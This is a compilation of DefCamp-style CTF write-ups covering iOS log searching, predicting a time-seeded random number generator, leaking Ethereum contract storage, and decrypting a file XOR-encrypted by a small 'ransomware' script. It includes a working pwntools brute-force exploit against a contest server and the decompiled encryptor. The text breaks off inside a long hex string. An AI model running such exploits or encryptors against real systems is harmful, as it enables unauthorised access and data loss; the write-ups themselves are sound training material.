It seems that `var_2C`, which is what the flag was "set" to, will be printed just before this function exits. Importantly, the string is printed alone, without any knwon prefix or suffix that we could search for in the log file.
Returning to the log file, and searching for "whyos", we get a hint:
```default 19:10:40.537634 -0400 Preferences Injecting /Library/TweakInject/Activator.dylib into com.apple.Preferencesdefault 19:10:53.647765 -0400 amfid We got called! /Library/PreferenceBundles/whyOSsettings.bundle/whyOSsettings with { RespectUppTrustAndAuthorization = 1; UniversalFileOffset = 81920; ValidateSignatureOnly = 1;} (info: (null))default 19:10:53.651675 -0400 amfid MacOS error: -67062default 19:10:53.656042 -0400 amfid MacOS error: -67062default 19:10:53.659202 -0400 amfid We got called! AFTER ACTUAL /Library/PreferenceBundles/whyOSsettings.bundle/whyOSsettings with { RespectUppTrustAndAuthorization = 1; UniversalFileOffset = 81920; ValidateSignatureOnly = 1;} (info: (null))default 19:10:53.659578 -0400 amfid ours: { CdHash = <610dc945 cd145933 7f552fe5 528afdc7 4bdd0559>;```
Hm... injecting libraries into Preferences? This tells us two things:
1. This is supposed to run on a jailbroken iPhone (which the many logs from Cydia confirm)2. The app is not an app, but a sort of extension that gets added to the built-in Preferences app. One big consequence is that when calling `NSLog`, the corresponding log line will not get a prefix identifying the binary (`whyOSsettings`), but the Preferences app.
And so we go back to the search, this time looking for log lines for the Preferences app that are fairly short. Even though we don't know the format of the flag, we know that it is logged on its own, not too long, and unlikely to contain spaces.
``` +Preferences +[^ ]{5,50}$```
This regular expression wields only 8 matches... we got the flag!
```default 19:12:18.884704 -0400 Preferences ca3412b55940568c5b10a616fa7b855e```
## Later updates
After solving this task, the following hints were added to the task description:
> HINT: the flag is literally a hex string. Put the hex string in the flag submission box>> Update (09/15 11:45 AM EST) - Point of the challenge has been raised to 300> Update Sun 9:09 AM: its a hex string guys
This makes the task quite a bit easier, since it should only be a matter of writing a regular expression to parse hex strings of a few lengths. |
# Even more lucky?
An up-to-date version is available [on my github](https://github.com/ajabep/RandomWriteups/tree/master/2018/D-CTF/lucky2). If I maked a mistake here, it will probably forget that I pushed this here, and forget to fix it.
Points: 50 Solves: 119
## Description
```We have updated the lucky game just for you! Now the executable is lighter and more efficient.Target: 167.99.143.206 65032Bin: https://dctf.def.camp/dctf-18-quals-81249812/lucky2Author: Lucian Nitescu ```
## Files
* [lucky2](https://github.com/ajabep/RandomWriteups/blob/master/2018/D-CTF/lucky2/lucky2), the binary given by organizers* [lucky2.i64](https://github.com/ajabep/RandomWriteups/blob/master/2018/D-CTF/lucky2/lucky2.i64), my IDA database, after reversing it* [resp.c](https://github.com/ajabep/RandomWriteups/blob/master/2018/D-CTF/lucky2/resp.c), my solution* [poc.png](https://github.com/ajabep/RandomWriteups/blob/master/2018/D-CTF/lucky2/poc.png), screenshot of my solution
## Solution
The binary is a little game which, when the user win, will print the flag. Thegame aims to guess a random number.
After observation, the binary will:
1. Get the timestamp.2. Initialize the seed with `timestamp / 10`.3. Print the `timestamp / 10000`, which is the time modulo 2 hours 46 minutes and 40 seconds.4. Play the game.
Contrary to the challenge "Lucky?", no buffer overflow can be done. But, theseed is predictable.
Lets attack it.
First, we need to print a username.
```cputs("username");```
Next, we need to get the server timestamp to regulate our hour to its timezone.Because I was too lazy to parse the server output, and a *copy-pasta* is notcomplex (^^), I has just get the server time with a simple `scanf()`.
```c#define DIFF_TIME 0 /* sometimes, we can have some second of difference. */time_t mytime = time(0); /* Get my time */time_t srvtime = 0;int seed = 0;
scanf("%d", &srvtime); /* Get the server time (w/ User interaction *//* guess the server time */srvtime = (srvtime * 10000) + (mytime % 10000);srvtime -= DIFF_TIME/* get the seed */seed = srvtime / 10;```
Then, we must initialize our seed with the same seed of the server.
```csrand(srvtime/10);```
And we just have to send the 100 pseudo-random number get with `rand()`.
```cfor (i = 0 ; i < NB_CHALLS ; ++i) { printf("%d\n", rand());}```
Result:
 |
## Even more lucky? (Exploit)
### Solution
Not quite a pwn challenge, reverse the binary first.
```cpp__int64 __fastcall main(__int64 a1, char **a2, char **a3) { t = time(0);
srand(t / 10); cout << "Hello, there!" << endl << endl << "What is your name?" << endl; cin.getline(buf); sub_2033((__int64)&v28, t / 10000, t / 10000, (unsigned int)t, v6, v7); serv_time = v28; cout << "I am glad to know you, " << buf << "!" << endl; cout << "Server time: " << serv_time << endl; cout << "If you guess the next 100 random numbers I shall give you the flag!" << endl << endl; for ( i = 0; (signed int)i <= 99; ++i ) { num = rand(); cout << "What number am I thinking of? [" << i << "/100]" << endl; cin >> buf; guess = stoi(&buf, 0LL, 10LL); if ( guess != num ) { cout << "Wow that is wrong!" << endl; return -1; } cout << "Wow that is corect!" << endl << endl; } ifs = ifstream("./flag2") if ( is_open(ifs) ) { ifs.getline(flag) cout << flag << endl; ifs.close() } return 0;}```
It will use `time(0)/10` as the seed for `srand()`, and output `time(0)/10000`, so the probability to guess the seed at a given period is 1/1000. I wait for the server output time to be carried by one, and start brute-force guessing the time, then finally I will reach the correct server time, and get the flag.
### Exploit (if any)```python#!/usr/bin/env python3from pwn import *import subprocess
t = 153764029for i in range(50): t += 1 print("trying t =", t) r = remote("167.99.143.206", 65032)
r.sendlineafter("name?", "123") data = subprocess.check_output(["./randgen", str(t)]).decode().split('\n') try: for i in range(100): recv = r.recvuntil("100]") print(recv) r.sendline(data[i]) r.interactive() except EOFError: pass``````c/* randgen.c */#include <stdio.h>#include <stdlib.h>
int main(int argc, char **argv) { srand(atoi(argv[1])); for(int i = 0; i < 100; ++i) { printf("%d\n", rand()); } return 0;}```
### Flag```DCTF{2e7aaa899a8b212ea6ebda3112d24559f2d2c540a9a29b1b47477ae8e5f20ace}``` |
Part 1: https://ropsten.etherscan.io/tx/0xb61227a91466026ea2f2670bd7725ac00bd7eb198ed71799ecadb6de3647f91e(flag{5cann1ng_)
Part 2: https://ropsten.etherscan.io/tx/0xc02fc19b9c2587af1d1aab6aef9093f4b5fca6a0731e373ab4b584bb15a0170e(wh013_bl0ckch41n_4)
Part 3: https://ropsten.etherscan.io/tx/0x1bc37a84ae691623c4043457fd3084044354ee656d349213fd63e5da1450ac9eThe contract 0xb4c5ef28a38ffbd1095cc8d1ba947fb0e9a61e4a has storage which needs to be leakedweb3.eth.getStorageAt('0xb4c5ef28a38ffbd1095cc8d1ba947fb0e9a61e4a', 1, function(x, y) {alert(web3.toAscii(y))});(ctf_fl4g_i5_4_skill)
Part 4: https://ropsten.etherscan.io/tx/0xd4e690ebfeabc1d61fabc2eda20df666633d9caf466f3e0dafdcc5616035df52https://ropsten.etherscan.io/address/0x0ea92008f4ccc6295e99908e35469fe9ca63787dweb3.eth.getStorageAt('0x0ea92008f4ccc6295e99908e35469fe9ca63787d', 0, function(x, y) {alert(web3.toAscii(y))});(_to_nuture})
overall : flag{5cann1ng_wh013_bl0ckch41n_4ctf_fl4g_i5_4_skill_to_nuture} |
# DefCamp CTF 2018: Ransomware***Category: category***>*Someone encrypted my homework with this rude script. HELP!*## SolutionFor this challenge, we are given a zip file containing [ransomware.pyc](ransomware.pyc) and [youfool!.exe](youfool!.exe).
We begin by trying to analyze `youfool!.exe`, but it seems to be completely garbled nonsense. Based on the name, we can probably assume `ransomware.pyc` is what was used to encrypt `youfool!.exe`. If we run ```uncompyle6 ransomware.pyc```and clean up the output a bit, we get:```import stringfrom random import *import itertools
def caesar_cipher(buf, password): password = password * (len(buf) / len(password) + 1) return ('').join((chr(ord(x) ^ ord(y)) for x, y in itertools.izip(buf, password)))
f = open('./FlagDCTF.pdf', 'r')buf = f.read()f.close()allchar = string.ascii_letters + string.punctuation + string.digitspassword = ('').join((choice(allchar) for i in range(randint(60, 60))))buf = caesar_cipher(buf, password)f = open('./youfool!.exe', 'w')buf = f.write(buf)f.close()```It looks like the code is taking a file `FlagDCTF.pdf`, XORs it with a 60 character key which consists of only `string.ascii_letters + string.punctuation + string.digits`, and then writes the output to `youfool!.exe`. Now that we know the file is being XORed, we try to decrpyt it with `xortool`:```xortool -l 60 -o 'youfool!.exe'```Unfortunately, `xortool` was unable to decrypt it perfectly. However, we find there were four potential keys which have almost semi-decrypted pdf files, which is close to what we are looking for. So we just pick any one of the four keys and try to manually fix it from there. I chose to use:```:P-@u\x1aL"Y1K$[X)fg[|".45Yq9i>eV)<0C:(\'q4n\x02[hGd\x2fEeX+\xbc7,2O"+:[w```It looks like although we specified printable chars only, `xortool` included some unprintable characters in the key, so we have to manually find the incorrect characters. I write a quick [script](solve.py), and use it in conjunction with [CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'3a502d40751a4c2259314b245b582966675b7c222e3435597139693e6556293c30433a282771346e025b6847642f4565582bbc372c324f222b3a5b77'%7D,'Standard',false)&input=MWYwMDY5MDY1ODYyNjIxNzUzMTRmNGQzZjlhNjIzNTA0NzZiNWM0ZDRjNWUzZjY1NGQxOTQ2NzIwYzM4CjRjNWQ0MjJhNDA0ZDQzNTEwNTRlN2YxNzQ4NzY1NDE4N2Q1Mjc4MDQwZDE3NzcxMjc5MWExYzFhNmEwMQowZjcwNzA2MDVhMWM2YzEzNjkxMTY0NjE3YjYxMWQ1MDUxN2I1MzZjMGUwNzE1NzYyNTE5NTgwZTUxNmYKMTgxYzBlN2QzMDRkNDkxNTViMGMzYTUxNDg2NzQ0MGY2NTQ1NzgwYjY1MTcwYzEyNmYwMjBiMWE3YjEyCjFhNzAwZDYwNTU3MzZjMDI3OTExNmIwNDdiNzgwOTQ2NDc3YjVjMDIwZTE0MTU3OTUxMTk0OTFlNDU3NgowOTFjMTA2MzFhMDgwNzUxMTQ0ZTcwN2I0ODY3NDQwZjY1NDU3ODBiNjUxNzBjMTI2ZjAyMGIxYTdiMTIKMWE3MDBkNjA1NTczNmMwMjc5MTE2YjA0N2I3ODA5NDY0NzdiNWMwMjBlMTQxNTc5NTExOTQ5MWU0NTc2CjA5MWMxMDYzMWEyMjEwNTEwNDRlM2YzOTAyNGQ1ODEzNjU0YTBjNTIzNTUyMGMxZDE3NzA0ZTVjN2IxZAo3NjM1NDMyNzAxM2I2YzE3NjkxMTY0NjIzMjM0NWQwMzE1N2I1MzY0NDI1NTQxM2MzNTVjMGE1MTAxMzMKMDkxMzc0MjY1OTQ3NDMxNDY0MGYyMjM2MWI2NzU4MTM2NTRhMWI0NDI5NDI0MTVjM2MwMjFmMWE3NDYyCjQ4MzU0OTI5MTYyNzIzNTA3OTAwNzkwNDY1NjYwOTQ5MzA3YjI3MDIxZjE0MDc3OTQwMTkzNDFlNGExZgo0NzU4NTUzYjFhNzMwNzQ3MTQ1ZjY1N2IzNTY3NGI2NjJiMDMzNzBiNzQwMjBjMDI2ZjcwMGIxNTA5NWQKNTUyNDBkNzg1NTYzNmM3MDc5MWUxODRkMjEzZDA5NTQ1NjdiNTM3MjVjNTE0Mzc5NDAwOTVkMDc1Nzc2CjA5MWMxMDYzMWEwODA3NTExNDRlNzA3YjQ4Njc0NDBmNmEyYzFjMGIxZTBiMTgwYjJhMTExYTVjNjg1NgowYTY1MTkyNjQzMzY3ZjQwM2Q1NTdlNDAzODZmMWY1NzVlMzkxOTE0MTk1MjU3NjA0ZjA1NWQwNzAwNjUKMTg1YTAzMjcwYTFkMTMxNzAyMGI2MzM5MGMyMzUxNGIyNjUyNmUxYTdjNTU0OTA0Nzg0NDQ5MDM2NTZmCjFhNmUxMzRhMDYyNzNlNDczODVjNDE1Y2M3M2I0YjAyODczYzFjNDA0ZTBjM2M3ZGU5YWZlYjY2MjMxNgphYjhkMmQwNzY2MmMzNjUwNzQyYzJhNzEyMDcxZjFhZWNjOTQ4NjY1ZDUyNTJhNzQyMzI2MmIyZTM3MzQKMGU1YTQ4MmUxMTIwMzg1MDNjNTAyNjJlM2UzNjRkMDkwNTMxNzYwMjBlMTQxNTc5NTExOTQ5MWU0NTc2CjA5MWMxMDYzMWEwODA3NTExNDRlNzA3YjQ4Njc0NDBmNjU0NTc4MGI2NTE3MGMxMjZmMDIwYjFhN2IxMgoxYTcwMGQ2MDU1NzM2YzAyNzkxMTZiMDQ3Yjc4MDk0NjQ3N2I1YzAyMGUxNDE1Nzk1MTE5NDkxZTQ1NzYKMDkxYzEwNjMxYTA4MmQ0OTE0NWU3MDM0MGEyZDZlMTM3OTQ1Nzc3YjI0NTA0OTQxNmYxMzFkMWE2YjEyCjY4NzAwMjE0MGMyMzI5MDI3NjcyMmE1MDNhMzQ0NjAxNDc2NTQyMjg0YjVhNTEzNjEzNTM2MzA3NDU2NgowOTUzNTIyOTMwMTQxYjUxMWIyODM5MzcxYzIyMTYwZjZhMjMzNDRhMzE1MjY4NTcyYzRkNGY1ZjdiMWQKNjk3MDE4NzE1NTdjMDA0NzM3NTYzZjRjN2I2ZDExNDY1OTY1NzY1MTVhNDY1MDM4MWMzMzExYTIwNjM2CjQ5NWMzMmUxY2YwOGI1ODAwMzZkN2Y1ODdjYzdiZDYzNDlhOTE4MGQ4ZWI2NTMyYzBmZjhlZDc1YzYzMwpmNjEwMmZlYzI1OWY4YzUyNDg5NTFlYzUzMDVmOGVhNTRjNWQ3YTIyYTM4ZTNmZDU3YjVjMDc1YTE2MjIKNWI1OTUxMmUzMDRkNDkxNTViMGMzYTUxNTk3NzQ0MWY2NTBhM2E0MTRmMGIxMDEyNjA2MTQ0NTQyZjU3CjU0MjQ1ZTYwNDQ2MjZjMTI3OTYzNmIwYjE2M2Q0ZDBmMDYxOTEzNWEwZTZmMTU2OTUxMDk0OTA4NTQ2NAowOTBiMDk3MTFhNzUwNzVlNjQwZjIyM2UwNjMzNDQxZTczNDU2ODBiMTcxNzAzNjAyYTUxNDQ0ZjI5NTEKNWYyMzBkN2M0OTczNjM2NzIxNDUwYzc3MmYzOTVkMDM0NzY3NDAwMjAxNzMwNTc5NDAwZTQ5MGU0NTA0CjA5MDIwZTYzMTU2ZTQ4MWY0MDRlNmM2NzQ4NjgyMjFmNjU1NDYwMGI3NTE3N2UxMjcxMWMwYjE1MGI0MAo1NTMzN2UyNTAxMjA2Yzc5NzkxZTFiNjAxZDc4MDYzMjAyMjMwODAyMDE3ZDU4MzgxNjVjMmIxZTRhMWYKNDQ1ZDU3MjY3OTA4MDgzODU5MGYzNzNlMjE2NzM5MGY3YjViNzgwNDExNGU1YzU3NmYwZDdiNWIzYzU3CjFhNmUxMzRhMTAzZDI4NGQzYjViNDExNTZhNzgxOTQ2MDgzOTE2MjgxMjA4MTU3NjM3NTAwNTRhMDAyNAowOTEzNzYyZjViNWM0MjM1NTEwZDNmM2YwZDY3NGI2MzIwMGIzZjVmMmQxNzFlMDQ3NzAyMTUwNDUxNDEKNGUyMjQ4MjExODU5MzRiZWZjYTM5NjZlNTg2OTM5ZTM4OGFjNTVjNDc0ZWM0MzNmZTNmMDY2YjZiNTgwCjlmZWI3YTgzM2RkODgwNTExYzM2OGY0NDU0MGUxMmM2MWIwYzE5YWRmNjNlMzNmYmQ2YjE0YWJmNDMwNwozMDZlMWM2YjQ4MmM0MDdkMWExNDBhOTBkYWFiYzI5NjEzMThlMzgyODU1Y2Q4YjVjZGRiYzE2ZWM4OTEKMGFjOWZkYmEwZTg0YTgzZDkzODFiNmNiNGNkN2Q0YWEyZjk0YWUyMDM0MjU3ZTE1NDA4YTRlNGQwMjliCmM3NmZhZDhkOTgyMTI0MGE1ZWRmMGY3MDcwZWI4MTQyODE3YzlhMWU0NzQwNTE2NzVjMTkwYjQ2MDZlNAozOTJhNjBjZmI4NmU5NWM1YjRiMmQyN2EyNzk4NDRlMGYzNjliMzI4ZDY1ZjhlYjAwNGI1NDIwOTRlZDYKNmRmMTdjNjUyNjJhZWQ3OTNmODZjYTE2ZThmN2MyZTg1ZTUxY2Y0MzgxYjMwZTczOWVmYWQ3YzIwMGIxCjM1YjEzZTJjZDA1ZTNkZDAxOTQyODJlZjJhNWRjNDU0MmQxMmZkMGU5YjA5MzYxNDdkN2I4ZGJmNzZhMAo1MGJlOWJmNmVlODkxMGI5MGQwZGM2MzU2OGU1ZjFkMDEzMGUwNzRhZmQ1MTg0ZWZlODE0ODJjMTk0NTUKYjBhNmJhMmQ1ZjQ2NDMwMjQwMWMzNTNhMDU0ZDAxNDEyMTBhM2E0MTRmMDYxZTEyN2YwMjQ0NTgzMTM4CjA2NmMwZDZmMzMzYTIwNTYzYzQzNmIwYjFkMzQ0ODEyMDIxZjE5NDE0MTUwNTA3OTVlNzUwYzUwMDIyMgo0MTBkMTA3MjBiMTgxZjQ5MTQ0MTFjM2UwNjIwMTA0NzY1NTM2MTFjNzYxNzEyMGM0NTUxNWY0ODNlNTMKNTc1YTU1ZGM5ODBhMzU3ZTBhNjZmNTFiYmM3NjcwNmVlMzllNTBjZTcyMzZiMTc0NzViMTRkYmZkNWQ1CjQ1YjZkY2M5MTgyMjA2NzUyNmVmNzQ3ZDY5MDM2MTdlMzU3MmVmNDEzMDlkZmE4ZmY5ODE4ODY3MWM5ZgphNzI2ODFmNTk4OGIyNTRmM2U2YmVjZjc4MWIyOWQ5NTlkYTFlNWNiMTg0OWU4ZGMwYWU2ZDAwOTY0ZTcKODZkMWZjZmYwZGM3Yjg4NjRkZDc4Yzg3Yjc3YTkzNTg4YjljYTU5NWZhZDhkNWNmODEyZjJiMzg1YmI2CjVhNDhjZDYwYjU4NzJmNTZmZDlkNTJmZTU1NTg4MDY0NjcyMGNhOTE1NTk0MTY2ZTNkMjY2MmJlZWE3OQoyOTBmNGM2ZTVjNGI1Y2Q5NWY5MzBlOGY4YjQ3NWU1YTUzYjFiODUwNDY4Y2ExZDY5OGYzMzI1MWIyNDMKMTVhZmNmYjJkYTk0NGRhMjk4MzE1YmI2MzVlM2UwMWUxNmJmMjAxYjJlYzg1YTg5MDk3ODU0Zjg4MDU4CmMxMzNlZTAwODBjMDM5MjEwMjBkZGYyMmZlMTg5NDBhNDU0N2M4OTUxZGQ4NWNhODUyMzRmNWVjMmU3YQpjNTYzZDlkYzdhMGI5NzAyNzU2MmY2MWI3NTMwZDhhOTllYzk2ZTJiMmVjZjhjYTNiOWM0OTBhZGIyOGQKZmJjZGJmM2U1NGQ4MTkzNTgzNmNkMDVhYTc0MDkxY2MzODVkYTYxYTM3ZGJlODVmYTZjZjI1YTU0MGVlCjcyODMxMzUwMTYwOGVjMjJhNTM4YmIwMjIwMjQ2NjA1OWVhYzI3ZGMxYjJiZDk0MDcxYzkxMThlZjllYQozZTMzMTFmZDM4NDJkYjZiNmNhNTYzZGI2MWI1NTA5NzA0YzFiOTBhYTExZjUwYWQ1M2U3YzFiMzAzZGEKZmM0ZjJmZTdjNGI4ODA1MWRkM2JkZDQ2OGMxOTFjMzg2NzIzYjg5NWNlMDVjOTM0MDFhMzU1MzAyMWYyCmE4ZTVmYjA4M2UxZGUzNDRjZTIzMjI2MjRjY2YwNzFmYzRlOTVjZmM4ZDZkOWMzOWJhNzE0YmVkYjI4ZgpjMjJhOWQ1MzhhNDlkMGU0OTZmM2Y0YzU0ZDI4YTU1YTYzMzliNWFkMzYwOTFhYzZlODc0ZmZiY2Y4ZWEKMDJmMDhiMDcxZGRiN2NhM2JiMzcxNmFmNTg4YzFjMzViZjc5NjliNGZiN2IzNGY0YjBlODEwZjI4ZmEzCmZmYTRhYWZjOWVhNzg3YzY2NzM3NmM5YTVmZDFlZDVlNzQxMmYyMTAwOGM2MDhhMzQ0NWI1YThkZjA0ZQo0OTc0ZDI3NGY2MWY2MzQxNjcyYThjYzNkMGNmOWU1MDAwZjlmYTk0YTAwMjFlZTU4NjczNWIyNDZjZTEKZjU3MWIyNmU2NjIwMmQxZjA4NzYxNGUyODE1OTI2NzkwNmFkOWYzM2UyNTVkOTNlYmQxMTA3NWY2M2U2CjhhZjA1YjFiZThlYzNmMGZkYmVhNDE4NDJhMzg2NTgwNzVjMDI4YzNmMzIzNzNiZWFiMzViMjVjMjkwZAo4OWQ1MjUyMmMzMzNhMzEwOWVjMGVkZDU2NGI5ZjQ5MmU0ODMxNWM0MTJlMmY1Mzk4MTI4Y2YyZjhhMzEKYjNjZDQwNjUyNWYxNzRmYzViMGNhMmFhZDljZWMxZjdjMGVjMGI0MzliYTRkNDJhY2NjNGVjMGUzZjI1CjQyNGU1NmMzYjYwZGNjYmQ1YzRhMzNjM2MyZDdhMDYwZjcxYzEyMjRlYjk4M2JhODdjOTFhOTAwMjJhNQo1NTM5YmM4NzJmMjRjNGQ0ZjRjNTU0NDRmNDYxNzRhNGNkY2FmODA0OWJmNmQ4MjM0NmQyYTRmZTc0NjMKZTE3MTE1YzMzZGQ3N2Y5MjJmNTdkMzA0N2RmNmRhMzg2MGFlNzRjZDYxMDQ2MzNlNzg0NWU0ZjYyMGFiCjU2M2RlZjUzNTRhYWJhYjNiOTg2NmM1YTc2NjRmYWFkMDc3M2FmMzQ3ZjMyODU3ZTYzMzkyMDBjNTU0NQphNzNjMzFlNmU4ZWYxZmVlZTI2MjNhZGM4NWQxZjY2NTkxMmE0ZTM5YTVkZDEyZDM3NDUwNzU0MTZhYTkKNGI5ZWFiODBjNzJmNjk5MzM3YWUzNzM4YTk4MjA1ZjU4Y2EwMzlmMWNjNTg0ZDdjMDFlNGNhYzE3YzRjCjIzYWMyMzFkZjJlYjE0NmU2NjYwNjdkNDlkYTllYWJhNzI5ZWVhZDc0ZDQ2MDk5ODdmYzM1YjYwNTFhOAozZmY3MDU1N2Q1NDgxMWFmNGM3ZGFkNjJkNGNlMDZhMTNkYTI5ZGI1YjAyMGUxMWI2NzI3MDFkODYzNDEKYWViNTMwM2IxN2Y0YTUyNDk2YTQ3MmViYWQ5ZGY3MDc3OTc5NDI0NGQ0ODQ3ODE1NmU2N2FkMzJmNzAzCjk5YTg0NzRhYWNjYTg4MTIwMDMwZDlmYzBiNTM0NzBiZjIwNDM3Y2I3MDRmMTY2Yzg1MmFmYTQwYTFiOQo1YTdkODU2NjhjYTM2NjliNDg4ZjBhNzJkODg3Mzk2YmVmZDhlMzZjYTI1NTVlYzEzMjNiNjI2OGU5MjQKZTkzMWY2ODZiMjMwMTkwMmE0ZmY2MDRjYjhiNWExOTIyMmRkNmY0ODM5YjNjMmVhMDNkMDEyMWE5Yjk5CmQyNmUyMDEwM2Q1OTBjM2I2YzM1NDcyNTVkN2U2YjRiYWJkZmNmNDIyZDY4YmRiMGMwMmVkOTg5ZDU0ZApkMTZmYTRjNzMwOGQwNTU4MzFjYmY0NTdiY2FlYmZiZjI0ZGQ1NDNmYzVjZDMyYjRiZTEyMzZkMDNhMzMKOTZkM2RlMTFmYWI0ZjExZjNmNjE4YTcwNjM4ZjBhNmQ5MjViZDQyNWU4YjgwNjA2NDA1NjU5NTlmZGM1CmU1M2ZmYzYyNWMzZjk0ZTI0YWYyMDY4OTdhM2RhMmQ3NmVkMjg2OTJiMGUxODEwZDkxOTg1NWQxYWM4NQoxNDhkODc2MTUyYWQyNzVjYTJjYTU0YWM2OTdiZWQ2ZmY1OWM2YjJhNTM3MDU5YjM3M2Y5YmU3MTg5NDkKMzkyNDA0MDAxOGNkMGI3NzA2MTcyMDEzMDAxZjFjNmIyMTcxNGQ4NmNkYmVhMTYxODkwNTBmMWM3ZTk5CjY4ODQ4NDI5OWNjOWQ1M2IwM2FjNzUxNzkwYzhiNGY1ZmNjYzIzNzI3NjYwMDlmMmQ1OGRjNTgyMDdhMApiNWY2ODkxNmVmMWQ5MjA0YzE2M2EzYmQ1ZjY5M2NmN2YxY2QyMWRhZDdhMTdhNTFkNDhiZjZlNjhhNWIKOGI3ZWMwYWE5YmUyOTUzZjkyYWQ2NTEzYTM4MTU0NjE4OTI0OWNmNjBkOGI0OWJiYWRiYzlhNzE1YmEzCmRkOTNhZWJhY2Y5YmIwNWYwYjk5YWNkMDQ3YmI4MjhhZWViMjA2NTJiMDAyOWM5YzMwZGI4MTU1ZWQwZQowNDYyMjk3Njc4ZDFiMTlkNTlkYTRhN2NlYWMxMWExOTkyMmQwY2QzY2JlOTQ4MzIyOTQwMTFmOWQyZWIKNTJjYWNkYmZmNWQ3ZDFhOGViZDBhY2IxOWJiODljMDIxZWNiOWU5NGZlN2EyZjgyYmFhOTg0ZmI4NTcxCmNkNGUxMzM4ODE4YmJkMDE1NjBmNGY2YWM1MjVkMWFhZmM0NDAxMTgyNGY0MTIzYTcxNDU5NTQxNGFmYwpjZTFkODNhZDViNGFjYmVlZGI5NjgzYzQ2YWY3NmU0ZDM1NzFhYmVlNzM1NGIzZDMwNGQyOGNiMjkzMmQKMDJjZTBmNWJiZDU1ZDJkYTdlYmYzNjFiMjEyNGVmMzlhZDI0MjgwMjM4ZTAzYzM3OGQ5YWVlNmVlNmQ4CmRjYzM0ZmJmNTkyZjQ3MjZjYzBkOWMzNjVhYzQ3ODI5MDQyNWQxYzFkYjA1MGMxYTQwYzg1ZTA5NmU0MAphMzY0MmQ4NzhkZWZkNDVhOTA3ZGM2N2E2YzFiOGVhYmVmMGM1NmU2MmFhYjMyNGEwYjUyNWVhMThlZWEKNTBmNWFkZDBjM2QwZTQyZWE4NTQ4MGUwODViOTZiMTE1YjNiM2E4ZTUzOTg3MjhkM2U4YTBjNGI2NTRiCjI4ZGEyZGIzYjAwODM5YWQ2ZWU0YTQ4MWU0ZmQ0NmI0ODhiNjkyZGVjZTkxYTIwNmY2MjhjNjYwZGNjYwpjMTY3ZTIzY2QyZjRjMmU3ZWJkZTdjZDk4ODczOTQwYzczZjQ2M2FiNDdlYWM1MDY1ZGJjMTQxYzk5MjYKOTMwMDM0ZTM5NTU4ZWQzYWFiNDg0MTQ5MWQ2NmZkODMwNDYxNDFmMzNjMjA2OWM1YWI4YzFmYzU1ODhkCmFjZGUwYzNjNzM2ZTEzNWRiMDZiM2Y0NjM5OGIzNTA0ZTFlZTk2YzY5Yzg5Njc3OTQxZWNhMzU2YzdjMQpjYTJiMTkwZDBhMTdiMzI3NGI2MTRmZGI1YjY3OTVkMzQ5MDM1YmIzYTY0OGE3OTY5ZmU3MTY1Y2M0MzEKNzcyZGMzN2Y2MzY3ODk3NGJmYmU1ZGMxN2UzZWNlYTcyMjQyYmRkYTljN2U0ZjI2NTYxODk2MTQ3NTY0CmQ1YTUzNjYxNTRjNjg0MTZmMTdjZTRjN2VmNjVkMzdmMWVjMzdiMGU5OGJkNzFiOTgxNGNmNzQ1ZWEzMAoyZjRkZmEzYzdjZThjNzNhOTllNWFhOGNkYzllMDgyNjVkZTNjYjM5ZDQwMTRiMjkwM2E0OTgyNDYwOGMKMWFlYzU2OWJkZDY4MzU1MzgzY2RjZDgwZmQ2YWI4MzI0MTE2YjU1MzM2Yjk3YzQ4YWJkZjg4MDcyMjE5Cjg1YTM2M2YxNWVmOTIyOGIwMDEzN2RlODA5YTFhZGEyYWZmOTBkZmQwMzY0NzVlNmUzNmEzNTk2MTJhYgoyMzJlNTBmNjQ0NzRlYmJlYTlkNGIwODI3NjhjODRkZjgwOTNmMTg5ZTEyYTM4NGM2NzE3NzQxM2JiZWYKMTk3NTJmNWVhM2Y3M2U2NTJjNzljMmMyZGUwZjdiOTgyZjk2ZTJhYTkxYzFiNmMwMzg3YzQ3ODMyZmRkCmZjMDg1MGJhMTc2MjFkYjA0YzJkNzc5NzBhNDRhN2JhMDBhZDRlNjM0YThlMjI1MjNiMTMwOGUzMjVhNwpiZTcwNGFlYWY3Zjg0ZTE1MjZkMDVjZTJhZGJkY2ZlMmI1YTVkYzhhOGQxNzllNGFkNTllMGI0YjNmZTMKZGQ3MTY5OTljZTdhYzQyYTQ4NjU0NWFhYTZhMzY5MTM4YWE5YmQyOTgxODk4YzgwMTRiMmI4MTUyZDgzCjc5ZDBiYWYwY2Q0NzZmYzY4MmEzN2IyOWMxYmZjMDA3MDNjZWQxZTViZmQ3YjJhNmI1ZjRlM2FjOWFiMwphNGY0OGJjYWU3YjViOTY3MGI1MDFiNDYxMjNiODMwZjI5MWNjODZhOTU0YzUwYjBiZWYxZGM4OTYyZTAKMzc1MjM5OGQwZWRjOGE0ODQ0YjI4YTA0ZjgxNDdjOGUxMTgzMWNiZGMwYzY5ZmU4NzhmNWI1NDNlNzA3CjAwZWI2NTU0MzUxYThmZDc5MDYzMmVjYmUxZWFiOGRiNWMxOGY5ZmI4MzlmM2ZlZTJjYTViNDQzMzkwNQo3ZGQ5ZDgxZjllMDA0YzdkNWIzNzZiODdjMzJkNjdmMzdmY2QzOWVkOGQ1OGU0YzdlZjI0MGJiODFiNzcKMDY5NmNlODdkNjQzYWE2MTZjYmQwYzFjNzNjYzA1NDc1MzI5ZDJlYmQ1OTNhNDdiNWVjNDQ4ZjE3YWE3CmZkMjNmYWUxOWE1NjdkOWEyMDM3YzAxOTc0YzU0MTMwNmY3MDY0ODkxNmEwZGFmZWY1ZDJhNmIwYmY5MwpjNmVlMGE3NzFkNjQ5NThiYWZmNzJmNjE5YWY3YjJkM2ZlYTA3NjU5MWI5ZThjMTBmYmM1YWJkNGQ5MGUKOGM3MDI3NTdjMWNjYjZkMGFkOGY4YjcwOWUyODlkOTgxNGRjNjBlMzk1ZDFlMDY5ZDY0OWIwOTEzM2U1CjNmMWFhOTMyYjJiZWM4OGMwZjQyMTNjNzlhMWVkMTUyZjhhNTkwOGQ5N2QxY2ZhNWMyMGM5ZTVhY2Y1NQozZjM3YzA0Nzc5YjQ4ODA1YjJiNDIwZjcxZWIwYzhhZDdiZjc0YzIxMzgzMjBkNDAwNTg0MjY3MGUzNDQKNTAyOWFmMGM1YzA2OTFkZGFjMWQ1YWFiNzQxNDc1ZDRkZGE5Y2M3YWU2YTM5ZTlkMGYzYjIwYWQ1OGU3CjYzMTY3MWVjYjhiODU5ZTI4YTIyYWVjN2Q0NDY3ZWZmNDg2ZmU3Nzc4M2QwNjFkMTRjZTk1YTgzZDczOQo4Yzc3ZDU5Y2I2MmI2OWI5NjVjNTZiYmI5